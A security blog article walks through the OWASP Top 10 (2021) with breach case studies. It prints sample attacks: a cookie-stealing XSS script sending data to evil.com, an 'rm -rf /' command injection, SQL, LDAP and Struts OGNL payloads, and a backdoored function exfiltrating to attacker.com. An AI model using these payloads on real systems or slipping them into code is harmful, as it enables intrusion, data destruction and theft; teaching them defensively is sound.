Hackers’ Playbook: Using the OWASP Top 10 to Secure Web Applications
The OWASP Top 10 is a globally recognized standard for identifying and mitigating the most critical web application security risks.
Created by the Open Web Application Security Project (OWASP) in 2003, this list has become a trusted resource for developers and security teams. It’s based on real-world data from hundreds of security assessments across industries and updated every few years to reflect evolving threats, with the latest release in 2021. A new version is anticipated to be released soon in 2025.
For cybersecurity professionals, knowing the OWASP Top 10 is essential. These vulnerabilities are some of the most commonly exploited in real-world attacks. Understanding them helps security pros assess risk, protect web applications, and respond to emerging threats effectively.
OWASP’s authority comes from its community-driven approach. Security experts and researchers worldwide contribute to ensure the Top 10 highlights the most urgent risks and provides guidance on detecting, exploiting (in controlled environments), and mitigating them.
This guide covers the key changes in the 2021 release, breaks down each category, and explains how to stay ahead of these vulnerabilities.
OWASP Top 10: 2021 vs 2017
OWASP’s Top 10 list is like a weather report for application security—it tells us what’s brewing, what’s trending, and where we need to pay attention. But a lot changed between 2017 and 2021.
Some risks evolved into bigger threats, new ones emerged, and a few familiar names got rebranded or merged as our understanding of security matured.
Comparing 2021 to 2017 at a high level, we can see how the focus shifted to reflect the modern attack landscape.
Owasp Top 10: Trends (2017 - 2021)
Security threats don’t stand still—they adapt. The OWASP Top 10 from 2021 reflects major shifts in how attackers exploit vulnerabilities compared to 2017. Some risks rose sharply in importance, driven by the increased complexity of modern applications and evolving attack methods.
What’s Trending Up (and Why):
Broken Access Control (A01): Now the most critical vulnerability. Access control flaws allow attackers to bypass restrictions and access data or systems they shouldn’t. Examples include:
Misconfigured Permissions: Giving users or systems more access than needed. For example, a regular user gaining admin privileges.
Insecure Direct Object References (IDOR): Attackers directly access data (like someone else's invoice or account) by manipulating URLs or request parameters, bypassing authorization checks.
Vulnerable and Outdated Components (A06): Dependency management is tough, and many apps rely on third-party libraries that aren’t updated. Hackers love outdated components because they can exploit known vulnerabilities (e.g., Log4Shell) that developers might miss.
Security Logging and Monitoring Failures (A09): Without proper logging and monitoring, companies have no visibility into attacks. This makes incident response nearly impossible. For example, failing to log failed login attempts could hide a brute-force attack. Advanced threats are harder to detect without strong monitoring and alerting.
What’s Declining (but Still a Risk):
Injection (A03): Once the top threat, injection attacks (like SQL injection) are less common due to modern frameworks that sanitize inputs. Still, poorly written code can allow attackers to execute malicious commands through inputs like forms or URLs.
Identification and Authentication Failures (A07): Dropped from second to seventh. Secure libraries and multi-factor authentication (MFA) help reduce risks, but weak passwords and improper session management (e.g., failing to time out idle sessions) are still problems.
New Categories:
Insecure Design (A04): This focuses on flaws built into an application’s design before any code is written. It’s about poor planning—like building a house with no fire exits. Key practices like threat modeling, secure design patterns, and early security reviews can prevent these issues.
Software and Data Integrity Failures (A08): Added due to the rise of supply chain attacks. This happens when attackers compromise the tools developers use (e.g., software updates or build processes) to inject malicious code. Recent incidents have shown how dangerous compromised CI/CD pipelines can be.
Server-Side Request Forgery (SSRF) (A10): In SSRF attacks, the server is tricked into fetching internal resources it shouldn’t, like sensitive files or network services. With more companies using cloud-based services, these attacks are becoming more relevant.
OWASP 2021 Top 10 Cybersecurity Threats:
Understanding the OWASP Top 10 is essential for identifying the most critical security risks in web applications. These threats represent real-world vulnerabilities that attackers actively exploit, and they evolve over time as technology and attack methods change.
Below, we break down each threat, explain how it works, and provide real-world examples to highlight why it matters.
A01: Broken Access Control
Broken access control occurs when an application fails to enforce proper restrictions on what authenticated users can do. This opens the door for attackers to access data or perform unauthorized actions.
Examples of Broken Access Control:
View or edit someone else’s account
Example: Accessing another user’s profile by changing userId in GET /api/users/{userId}.
Access authenticated pages as an unauthenticated user
Example: Accessing
GET /admin/dashboardwithout logging in.
Access privileged pages as a non-privileged user
Example: A regular user accessing
GET /admin/settings.
Exploit missing API access controls for POST/PUT/DELETE
Example: A regular user creating an admin account via
POST /api/admin/create.
Manipulate object references (IDOR)
Example: Accessing another user’s files by changing
fileIdinGET /api/files/{fileId}.
Bypass workflow steps
Example: Skipping payment and directly calling
POST /checkout/confirm(if backend doesn’t validate).
Access debug/test endpoints
Example: Accessing
GET /debug/usersto view sensitive data.
Exploit misconfigured CORS
Example: Accessing sensitive data from another domain due to
Access-Control-Allow-Origin: *.
Hijack or manipulate sessions
Example: Changing
role=usertorole=adminin session cookies.
Access backup/archive files
Example: Downloading GET /backups/db_backup.sql without proper authorization.
Brute-force endpoints
Example: Guessing userId in GET /api/users/{userId} to access unauthorized data.
Real-World Examples of Broken Access Controls:
1. Facebook (2018)
Attackers used Facebook’s "View As" feature, which lets users see their profile as someone else.
Due to a bug, the feature generated an access token for the user being viewed, not the viewer.
Attackers exploited this to steal access tokens for 50 million accounts.
With these tokens, they could take over accounts and access private data.
Peloton’s API had endpoints like /api/user/{userId} to fetch user data.
The API did not verify if the requester had permission to access the data.
Attackers changed the
userIdin the request to access private data (e.g., profile info, workout stats) of any user.No authentication or authorization checks were in place to prevent this.
T-Mobile had an API endpoint (
/customer/{phoneNumber}) to fetch customer data.The endpoint did not enforce proper authorization checks.
Attackers queried the endpoint with different phone numbers to retrieve sensitive data (e.g., SSNs, addresses).
The API returned data without verifying if the requester had permission to access it.
Strava’s heatmap feature aggregated GPS data from users’ workouts and displayed it on a global map.
The feature did not restrict access to this data, making it publicly accessible without authentication.
Attackers analyzed the heatmap to identify high-activity areas, revealing military base locations and patrol routes.
Strava failed to implement access controls to exclude sensitive locations (e.g., military bases) from the heatmap.
The data was accessible via Strava’s public API, which did not enforce proper restrictions on querying or accessing aggregated GPS data.
5. Zoom (2020)
Zoom’s "Company Directory" feature showed users’ data (e.g., email addresses, photos) across organizations.
The feature did not enforce proper access controls to restrict data to the correct organization.
Attackers exploited this to view data from organizations they did not belong to.
No checks were in place to verify organizational boundaries.
Attackers exploited a vulnerability in the Apache Struts framework to gain unauthorized access to Equifax’s systems.
The breach was partly due to insufficient access controls, allowing attackers to move laterally within the network.
Sensitive data of 147 million people, including Social Security numbers and credit card details, was exposed.
A02: Cryptographic Failures
Cryptographic failures occur when encryption is improperly implemented, allowing attackers to intercept or manipulate sensitive data. This can include using outdated algorithms, weak key management, or transmitting data over insecure channels.
Examples Include:
1. Insecure Data Transmission: Many applications still use HTTP instead of HTTPS, allowing attackers to intercept sensitive data in plaintext.
2. Weak Password Hashing: Companies often use outdated hashing algorithms like MD5 or SHA-1 without salting, making passwords easy to crack.
3. Lack of Certificate Validation: Mobile apps and websites sometimes fail to validate SSL/TLS certificates, enabling MITM attacks.
4. Improper Key Management: Encryption keys are often stored insecurely (e.g., plaintext files), allowing attackers to steal and misuse them.
5. Outdated Cryptographic Algorithms: Some systems still rely on outdated algorithms like DES or RC4, which are vulnerable to brute-force attacks.
6. Failure to Encrypt Sensitive Data at Rest: Sensitive data (e.g., credit card numbers) is often stored in databases or backups without encryption.
7. Misconfigured Cryptographic Protocols: Websites and services sometimes support weak TLS versions (e.g., TLS 1.0), leaving them vulnerable to attacks.
8. Predictable Random Numbers: Applications occasionally use predictable random number generators for tokens or session IDs, enabling attackers to guess them.
9. Hardcoded Cryptographic Keys: Developers sometimes hardcode encryption keys in source code, making them easy to extract through reverse engineering.
10. Insufficient Encryption Scope: Applications may encrypt only part of the data (e.g., messages but not metadata), leaving sensitive information exposed.
11. Failure to Encrypt Backups: Backups are often stored without encryption, allowing attackers to access sensitive data if the backup is compromised.
12. Lack of Forward Secrecy: Some systems use RSA for TLS key exchange instead of ECDHE, enabling attackers to decrypt past sessions if the private key is compromised.
13. Failure to Use Secure Initialization Vectors (IVs): Systems sometimes use static or reused IVs for encryption, allowing attackers to infer patterns and decrypt data.
14. Use of Custom or Non-Standard Cryptography: Developers occasionally create custom encryption algorithms, which often have vulnerabilities that attackers can exploit.
15. Misuse of Cryptographic Libraries: Developers sometimes misuse cryptographic libraries (e.g., using AES in ECB mode), enabling attackers to decrypt data.
16. Failure to Rotate Encryption Keys: Organizations often fail to rotate encryption keys regularly, allowing attackers to exploit compromised keys for extended periods.
17. Exposure of Sensitive Data via Debug Endpoints: Debug endpoints in production systems sometimes expose sensitive data due to lack of encryption or access controls.
18. Insecure Use of Cookies: Websites sometimes store sensitive data in cookies without encryption, enabling attackers to steal session data.
19. Failure to Use Secure Random Number Generators: Applications sometimes use insecure random number generators for cryptographic operations, making them predictable.
20. Insecure Key Exchange Protocols: Systems sometimes use insecure key exchange protocols (e.g., Diffie-Hellman with small primes), enabling attackers to compromise encryption.Real-World Examples of Cryptographic Failures
Equifax suffered a massive data breach due to using an outdated version of Apache Struts, which contained a known vulnerability (CVE-2017-5638).
The failure to update a critical component exposed the system to a remote code execution attack.
Why it was a cryptographic failure: The outdated component relied on vulnerable cryptographic protocols and failed to maintain data integrity, allowing attackers to access sensitive data.
Hundreds of millions of Facebook passwords were stored in plain text on internal servers without encryption.
This was discovered during a security review, revealing that plaintext passwords had been accessible to over 20,000 Facebook employees for several years.
Why it was a cryptographic failure: Passwords should be securely stored using strong hashing algorithms like bcrypt. Storing them in plain text violates basic cryptographic principles, exposing users to credential theft.
Panera Bread leaked millions of customer records due to poor encryption practices and insecure data storage on its website.
The exposed data included names, email addresses, physical addresses, and loyalty program numbers, all in plain text.
Why it was a cryptographic failure: Sensitive customer data was stored and transmitted without encryption, leaving it vulnerable to interception and theft.
Hackers stole 6.5 million LinkedIn passwords, which were stored using the weak hashing algorithm SHA-1 without a salt.
The attackers cracked many of the passwords using rainbow tables and released them online.
Why it was a cryptographic failure: SHA-1 is considered outdated and insecure. Passwords should be hashed with a stronger algorithm (e.g., bcrypt) and a unique salt to prevent easy cracking.
Marriott’s 500 million guest records were compromised due to a breach of its Starwood reservation system.
Among the stolen data were passport numbers and credit card details. Although the credit card information was encrypted, the encryption keys were also stolen, making it possible for attackers to decrypt the data.
Why it was a cryptographic failure: Proper key management was lacking, and encryption is ineffective if attackers can access the keys alongside the data.
A03: Injection
Injection vulnerabilities occur when untrusted input is sent to an interpreter, allowing attackers to execute malicious commands or queries. SQL injection is one of the most well-known forms, often resulting in full database compromise.
Examples Include:
#1 SQL Injection – Bypassing Authentication
An online banking site has a login form that takes a username and password. The server-side code builds an SQL query using the user-provided inputs.
-- When a legitimate user enters their username (admin) and password (password), the query looks like this:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
-- This query checks if there is a matching record in the database. If found, the user is authenticated.
-- An attacker enters ' OR '1'='1 in the username field. The query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1';
-- The password field can contain anything (e.g., xyz), as the username injection alone is sufficient.
-- The resulting SQL query looks like this:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'xyz';
The condition '1'='1' is always true.
The OR clause makes the entire WHERE con dition true for all rows in the users table.
As a result, the query returns all users, and the attacker is granted access without a valid password.#2 OS Command Injection – System Command Execution
-- A web app takes user input to run server commands. Normally, it executes this command:
ping 192.168.0.1
-- An attacker enters 192.168.0.1; rm -rf / in the input field. The command becomes:
ping 192.168.0.1; rm -rf /
-- The semicolon (;) allows the attacker to chain commands.
-- After pinging the IP address, rm -rf / deletes all files on the system.#3 Cross-Site Scripting (XSS) – Stealing Cookies
A blog fails to sanitize user comments. An attacker injects a malicious script to steal users' cookies and hijack their sessions.
<!-- A blog fails to sanitize user comments. A legitimate user comment looks like this: -->
<p>This is a great article!</p>
-- An attacker posts the following malicious comment:
<script>document.location='http://evil.com?cookie='+document.cookie;</script>
-- When another user views the comment, their browser executes the attacker’s script:
<script>document.location='http://evil.com?cookie='+document.cookie;</script>
-- This script sends visitors' cookies to http://evil.com, allowing the attacker to hijack their session.#4 LDAP Injection – Unauthorized Access:
LDAP (Lightweight Directory Access Protocol) is like a phonebook for storing user information such as usernames, passwords, and permissions. Applications use it to check if a username and password are correct during login. An attacker can inject special characters like an asterisk (*), which acts as a wildcard to match anything, allowing them to bypass authentication.
-- The application constructs an LDAP query using user input. Normally, it looks like this:
(&(uid=admin)(userPassword=password))
-- An attacker enters * in the username field and anything in the password field. The query becomes:
(&(uid=*)(userPassword=*))
-- The asterisk (*) is a wildcard that matches all entries.
-- This query retrieves all user records, bypassing authentication and granting unauthorized access.Real-World Examples of Injection
Attackers injected malicious JavaScript into British Airways’ payment page, capturing sensitive customer information, including credit card details of 380,000 users.
This was part of a Magecart attack, where attackers modified scripts on the payment page to steal user data.
Why it was an injection failure: Lack of input validation and monitoring allowed the malicious script to be injected and executed.
Multiple SQL Injection vulnerabilities (CVE-2023-35188, CVE-2023-50395) were discovered in SolarWinds Platform versions before 2024.1.
These vulnerabilities could lead to Remote Code Execution (RCE) through SQL injection in both
CREATEandUPDATEstatements, although authentication is required to exploit them.Why it was an injection failure: The application did not sanitize SQL inputs, allowing authenticated attackers to inject malicious SQL commands and execute code remotely.
A security researcher found a GraphQL injection vulnerability in Starbucks’ API, which allowed unauthorized access to internal systems and sensitive company information.
The vulnerability could have exposed critical internal data if exploited by malicious actors.
Why it was an injection failure: The API did not sanitize or validate GraphQL queries, leading to potential data leaks.
A04: Insecure Design
Insecure design occurs when security is overlooked during the planning and architecture of an application. This is not about coding mistakes but rather poor design choices, such as missing security controls, failing to enforce secure defaults, or not anticipating potential attack methods.
Example: Weak Access Control Design
An e-commerce site allows users to access their order history by passing their user ID in the URL. The site fails to check if the authenticated user owns the requested resource.
-- A user accesses their order history through this URL:
https://example.com/orders?userID=12345
-- There is no access control check in place. An attacker changes the userID:
https://example.com/orders?userID=67890
-- The attacker can now view and modify another user's order history.Real-World Examples of Insecure Design
Attackers exploited poor internal access design, leading to the compromise of high-profile accounts like Elon Musk and Barack Obama.
Employees were socially engineered into granting access to administrative tools with insufficient security checks.
Why it was an insecure design: The admin tool lacked multi-factor authentication (MFA) and strong access controls, making it easier for attackers to gain control.
A misconfigured firewall combined with poor security design allowed an attacker to access Amazon S3 buckets containing 100 million credit card applications.
The design flaw exposed internal metadata services that attackers could query for credentials.
Why it was an insecure design: The application relied on overly permissive firewall rules and insufficient network segmentation, exposing sensitive internal resources.
3. Zoom (2020)
Zoom's default meeting settings allowed "Zoom bombing," where attackers could join meetings without authentication and disrupt them.
Sensitive meetings were interrupted, and users’ personal information was exposed.
Why it was an insecure design: Zoom lacked secure defaults for meeting settings, such as requiring passwords and restricting screen sharing.
4. Uber (2022)
An attacker gained access to Uber’s internal systems due to overly broad access permissions and weak internal security design.
The attacker accessed critical systems like Slack, internal dashboards, and sensitive data repositories.
Why it was an insecure design: Poor privilege management and insufficient internal monitoring allowed lateral movement within Uber’s network.
5. Microsoft Power Apps (2021)
Thousands of Microsoft Power Apps portals were found to be leaking sensitive data such as COVID-19 contact tracing info, employee records, and personal details.
This happened because default configurations left data endpoints publicly accessible.
Why it was an insecure design: The design did not enforce private access by default, exposing sensitive data to the public.
A05: Security Misconfiguration
Security misconfiguration happens when security settings are not implemented correctly or left in their default state. This can include leaving default credentials, exposing sensitive services, or enabling unnecessary features that attackers can exploit.
Example: Default Credentials on an Admin Panel
A web application leaves the admin panel accessible with default login credentials (admin:admin), allowing attackers to take control.
-- An admin panel is available at:
http://example.com/admin
-- The application uses default credentials:
Username: admin
Password: admin
-- An attacker accesses the admin panel and logs in with these credentials, gaining full control of the application.Real-World Examples of Security Misconfiguration
533 million Facebook users' personal data, including phone numbers, email addresses, and birth dates, were leaked due to a misconfigured API.
The misconfiguration allowed unauthorized scraping of user profiles over several months.
Why it was a security misconfiguration: The API lacked proper access controls, exposing sensitive user information.
2. Microsoft Power Apps (2021)
Misconfigured Microsoft Power Apps portals led to the exposure of 38 million records, including COVID-19 contact tracing info, employee records, and personal details.
The data endpoints were publicly accessible due to insecure default configurations.
Why it was a security misconfiguration: Public access was enabled by default, and no security review detected the exposure.
3. Amazon Web Services (Capital One Breach, 2019)
A misconfigured AWS firewall allowed an attacker to access Capital One’s S3 buckets, resulting in the theft of 100 million credit card applications.
The attacker used a Server-Side Request Forgery (SSRF) vulnerability to retrieve credentials.
Why it was a security misconfiguration: The firewall rules were overly permissive, exposing internal metadata services.
Millions of customer records were exposed when an employee database was left publicly accessible without authentication.
The database contained full names, phone numbers, and account-related information.
Why it was a security misconfiguration: The database was deployed without access restrictions or proper authentication controls.
5. Tesla (2020)
An internal Kubernetes console used by Tesla was left publicly accessible without a password.
Attackers gained access and attempted to mine cryptocurrency on Tesla’s cloud infrastructure.
Why it was a security misconfiguration: The Kubernetes dashboard was exposed to the internet without any authentication, allowing unauthorized access.
A06: Vulnerable and Outdated Components
This happens when applications rely on outdated libraries, frameworks, or third-party components that have known security vulnerabilities. If these components aren’t regularly updated, attackers can exploit the flaws to compromise the application.
Example: Outdated Library Leading to Remote Code Execution
An application uses an outdated version of the Apache Struts framework, which has a known remote code execution vulnerability (CVE-2017-5638).
-- The application is built with Apache Struts 2.3.5.
-- This version has a known vulnerability that allows attackers to execute arbitrary commands.
-- An attacker sends a malicious request to the application:
Content-Type: %{(#context['com.opensymphony.xwork2.dispatcher.HttpServletRequest'].getHeader('X-Real-IP')).execute('id')}
-- The outdated Apache Struts library processes the request and executes the attacker's command, granting control over the server.Equifax used an outdated version of Apache Struts, which contained a critical remote code execution (RCE) vulnerability (CVE-2017-5638).
Attackers sent malicious requests to Equifax’s web servers, allowing them to execute arbitrary commands and steal sensitive data.
Why it was a vulnerable component: Failure to update the outdated component left Equifax exposed, resulting in the compromise of 147 million customer records.
2. U.S. Department of Homeland Security (DHS) (2020)
DHS was compromised during the SolarWinds attack, where attackers used backdoored SolarWinds Orion software to infiltrate internal systems.
The attackers gained unauthorized access to sensitive information and monitored internal communications for months.
Why it was a vulnerable component: DHS relied on an outdated and compromised SolarWinds component, which allowed attackers to breach critical government systems.
Multiple organizations, including Microsoft, were affected by the Log4j vulnerability (Log4Shell) in 2021, which allowed remote code execution (CVE-2021-44228).
Attackers exploited vulnerable versions of the Log4j library to execute arbitrary commands.
Why it was a vulnerable component: Microsoft’s systems, along with many others, relied on the Log4j library, exposing them to attacks until the patch was applied.
A07: Identification and Authentication Failures
Authentication ensures that only the right users can access the application. Weak authentication and poor session management can let attackers take over accounts, bypass login, or steal session tokens.
-- An application permits unlimited login attempts without a lockout mechanism.
-- An attacker performs a credential-stuffing attack using a leaked list of username-password combinations.
-- The attacker tries multiple credentials:
Username: john@example.com | Password: welcome123
Username: admin@example.com | Password: admin123
-- After several attempts, the attacker logs in to multiple accounts.
-- Since the application lacks multi-factor authentication (MFA), the attacker gains full control of the compromised accounts.Real-World Examples of Identification and Authentication Failures
Over 100 million accounts were compromised due to a database of weak, previously leaked passwords.
Many users reused simple passwords (e.g., "password123"), making them easy targets for automated credential stuffing attacks.
Why it was an authentication failure: Weak password policies and lack of multi-factor authentication (MFA) allowed attackers to exploit reused credentials.
Attackers used credential stuffing attacks to access private repositories and exfiltrate source code.
Many users had reused credentials from previously leaked password lists.
Why it was an authentication failure: GitHub failed to enforce mandatory MFA for all accounts, allowing automated attacks to succeed.
3. Zoom (2020)
Zoom initially lacked mandatory passwords for meetings, allowing attackers to join and disrupt private meetings through brute-force attacks on meeting IDs.
Sensitive information and personal conversations were exposed during unauthorized access incidents.
Why it was an authentication failure: Weak meeting access controls and no enforced authentication led to unauthorized access.
Reddit experienced a breach after attackers compromised employee accounts due to SMS-based two-factor authentication (2FA) vulnerabilities.
The attackers intercepted 2FA SMS codes and gained access to internal systems.
Why it was an authentication failure: SMS-based 2FA is susceptible to interception, making it a weak authentication method compared to app-based 2FA.
5. Marriott International (2020)
Attackers accessed 5.2 million guest records using credentials obtained from previous breaches.
The attack relied on credential reuse and weak monitoring of login attempts.
Why it was an authentication failure: Failure to enforce strong authentication and lack of proper detection for credential reuse led to unauthorized access.
A08: Software and Data Integrity Failures
This happens when attackers exploit weaknesses in the software supply chain or build processes. Applications often rely on external libraries or automated tools to build, test, and deploy code.
If these pipelines aren’t secured, attackers can inject malicious code into the software, compromising every deployment.
-- The application relies on a third-party package for data serialization (e.g., json-handler v1.2.0).
-- The package is unknowingly compromised with a backdoor that opens remote access.
-- When the CI/CD pipeline builds the application, the compromised version is included:
function parseData(data) {
fetch('https://attacker.com/steal', { method: 'POST', body: data }); // Malicious code
return JSON.parse(data);
}
-- The application is deployed with the backdoor.
-- Sensitive data from users is silently sent to the attacker’s server without raising alarms. Real-World Examples of Software and Data Integrity Failures
1. SolarWinds Supply Chain Attack (2020)
Attackers compromised the SolarWinds Orion update process, injecting malicious code that affected 18,000 organizations, including U.S. federal agencies and Fortune 500 companies.
The backdoored update gave attackers remote access to internal systems and allowed for prolonged undetected monitoring.
Why it was a software integrity failure: The build process was compromised, and malicious code was distributed through trusted software updates.
2. Codecov Bash Uploader Incident (2021)
Attackers modified the Codecov Bash Uploader script, which was widely used in CI/CD pipelines, to exfiltrate sensitive information like environment variables, API keys, and credentials.
The malicious version remained undetected for several months, exposing thousands of companies to data breaches.
Why it was a software integrity failure: Codecov’s build process was not properly secured, allowing attackers to introduce and distribute malicious code.
3. Kaseya VSA Ransomware Attack (2021)
Attackers exploited vulnerabilities in Kaseya’s VSA software, which is used for remote monitoring and management by Managed Service Providers (MSPs).
The attackers injected ransomware into the VSA software update, affecting hundreds of companies globally.
Why it was a data integrity failure: The attackers used the software update mechanism to deliver ransomware to multiple endpoints.
4. PyPI Malicious Package – ctx (2022)
The
ctxpackage on PyPI was found to contain a backdoor that executed arbitrary code from a remote server.Developers who unknowingly installed it exposed their systems to remote code execution attacks.
Why it was a software integrity failure: PyPI lacked sufficient controls to prevent malicious packages from being uploaded and distributed.
5. Log4j Vulnerability (Log4Shell, 2021)
A critical vulnerability in the Log4j library allowed attackers to execute remote code by logging a specially crafted string (CVE-2021-44228).
This affected thousands of organizations, including cloud providers and critical infrastructure, as Log4j was a widely used dependency.
Why it was a software integrity failure: A severe flaw in a widely used third-party library compromised countless systems.
A09: Security Logging and Monitoring Failures
Without proper logging and monitoring, organizations are blind to attacks and cannot respond effectively. This allows breaches to go undetected for long periods, increasing the damage and risk.
-- An application fails to log critical security events such as failed login attempts.
-- An attacker launches a brute-force attack, attempting thousands of username-password combinations.
-- Since failed login attempts are not logged, the attack goes unnoticed:
Attempt 1: admin / password123
Attempt 2: admin / welcome123
...
Attempt 5000: admin / letmein123
-- No alerts are triggered, and the attacker eventually succeeds in logging in.
-- The breach remains undetected for weeks, allowing the attacker to exfiltrate sensitive data.Real-World Examples of Security Logging and Monitoring Failures
1. Marriott International (2018–2020)
Marriott's internal monitoring failed to detect unauthorized access to its Starwood reservation system for two years.
The attackers stole the personal information of 500 million guests, including passport numbers and credit card details.
Why it was a logging failure: Lack of proper monitoring and real-time alerts allowed the breach to remain undetected for an extended period.
Equifax’s logging and monitoring systems failed to detect multiple data exfiltration attempts over a prolonged period.
The attackers extracted 147 million customer records, including Social Security numbers and financial details.
Why it was a logging failure: Insufficient logging of network activity and failure to detect anomalies prevented timely detection of the breach.
An attacker exfiltrated over 100 million credit card applications from Capital One’s internal systems by exploiting a misconfigured web application firewall (WAF).
The lack of real-time monitoring and alerting allowed the breach to go unnoticed for months.
Why it was a logging failure: Poor network traffic monitoring and missing alerts for unauthorized data transfers enabled the attack to succeed.
4. Uber (2022)
Uber suffered a breach after an attacker gained access to several internal tools and dashboards.
The attacker moved laterally across the network without triggering sufficient alerts.
Why it was a logging failure: Ineffective monitoring of internal systems allowed unauthorized access to persist without immediate response. The hacker was only discovered when they announced themselves in Uber’s Slack.
During the SolarWinds supply chain attack, attackers infiltrated networks of numerous organizations, remaining undetected for months.
The breach affected U.S. government agencies and Fortune 500 companies.
Why it was a logging failure: Insufficient monitoring and delayed detection of suspicious activity allowed attackers to maintain prolonged access.
A10: Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) occurs when an attacker manipulates a server to make requests on their behalf. This allows attackers to access internal resources, scan networks, or exfiltrate data.
-- An application fetches external resources using user-provided URLs:
GET /fetch?url=http://example.com/image.jpg
-- An attacker changes the URL to access an internal service:
GET /fetch?url=http://localhost:8080/admin
-- The server executes the request and reveals sensitive internal information:
Response: {"adminSecret":"super_secret_key"}
-- The attacker can continue accessing internal services and sensitive data.Real-World Examples Server-Side Request Forgery (SSRF)
Vulnerability: Attackers exploited a SSRF vulnerability in the Azure App Service to access internal Azure metadata services. This allowed them to retrieve sensitive instance metadata, such as IAM tokens and temporary credentials, from internal endpoints (e.g.,
http://169.254.169.254).Attack Vector: By manipulating user-supplied URLs in Azure functions, attackers bypassed access controls and gained access to internal services.
Technical Impact: With stolen credentials, attackers could escalate privileges and compromise cloud resources.
Vulnerability: Attackers used an SSRF vulnerability in Capital One’s Web Application Firewall (WAF) hosted on AWS to send requests to the AWS EC2 metadata service (
http://169.254.169.254).Attack Vector: The vulnerability allowed attackers to retrieve AWS IAM role credentials, which provided access to S3 buckets containing sensitive customer data.
Technical Impact: With the credentials obtained, attackers exfiltrated over 100 million credit card applications and personal data stored in the S3 bucket.
Vulnerability: A SSRF vulnerability in Alibaba Cloud’s Object Storage Service (OSS) allowed attackers to send requests to the internal metadata endpoint, obtaining temporary access tokens.
Attack Vector: Using a manipulated user-supplied URL, attackers accessed the internal service, escalating privileges and bypassing authentication.
Technical Impact: Once access tokens were obtained, attackers could list and download objects from private OSS buckets without permission.
4. GitHub Enterprise Server (2020)
Vulnerability: A SSRF vulnerability allowed attackers to perform internal network scans on GitHub’s infrastructure by manipulating GitHub webhook URLs.
Attack Vector: The attacker submitted a crafted request to trigger a webhook that pointed to an internal service
(http://internal.service.local).Technical Impact: This allowed attackers to enumerate open services, gather internal network information, and potentially exfiltrate data.
How to Use the OWASP Top 10 for Ethical Hacking
Mastering the OWASP Top 10 isn’t just about theory—it’s about real-world application. As an ethical hacker or penetration tester, this list will guide your approach to identifying and exploiting vulnerabilities.
Here’s how to use it effectively:
Study the Top 10 List in Depth
Go beyond a surface-level understanding. Learn how each vulnerability works, common attack methods, and how they appear in real-world applications. This knowledge will help you quickly recognize weaknesses when testing systems.Practice in a Lab Environment
Hands-on practice is essential. Use tools like OWASP WebGoat, Burp Suite, SQLMap, and AppScan to simulate attacks safely. Platforms like Hack The Box offer real-world hacking challenges to help you develop attacker-like thinking and refine your vulnerability exploitation skills.Learn How to Communicate Findings
One of the most important skills in security is being able to explain vulnerabilities to others. Developers and blue teams need clear, actionable insights, not just technical jargon. Focus on:What the vulnerability is
How an attacker could exploit it
The business risk it poses
Steps to fix or mitigate it
Keep Up with New Threats and Techniques: The next OWASP Top 10 update is expected in 2025. Stay ahead by reading case studies, analyzing recent breaches, and keeping an eye on OWASP’s latest research. New vulnerabilities will emerge, and staying informed is key to protecting web applications effectively.
Collaborate to Build Stronger Defenses
Ethical hackers are part of the larger security ecosystem. Work with development teams to integrate secure coding practices early, conduct threat modeling, and help organizations build security into their processes from the start.
The OWASP Top 10 is your foundation. Combined with practical experience and practice, it will help you become a highly skilled ethical hacker who can both identify risks and make a real impact on security.
🔥🔥🔥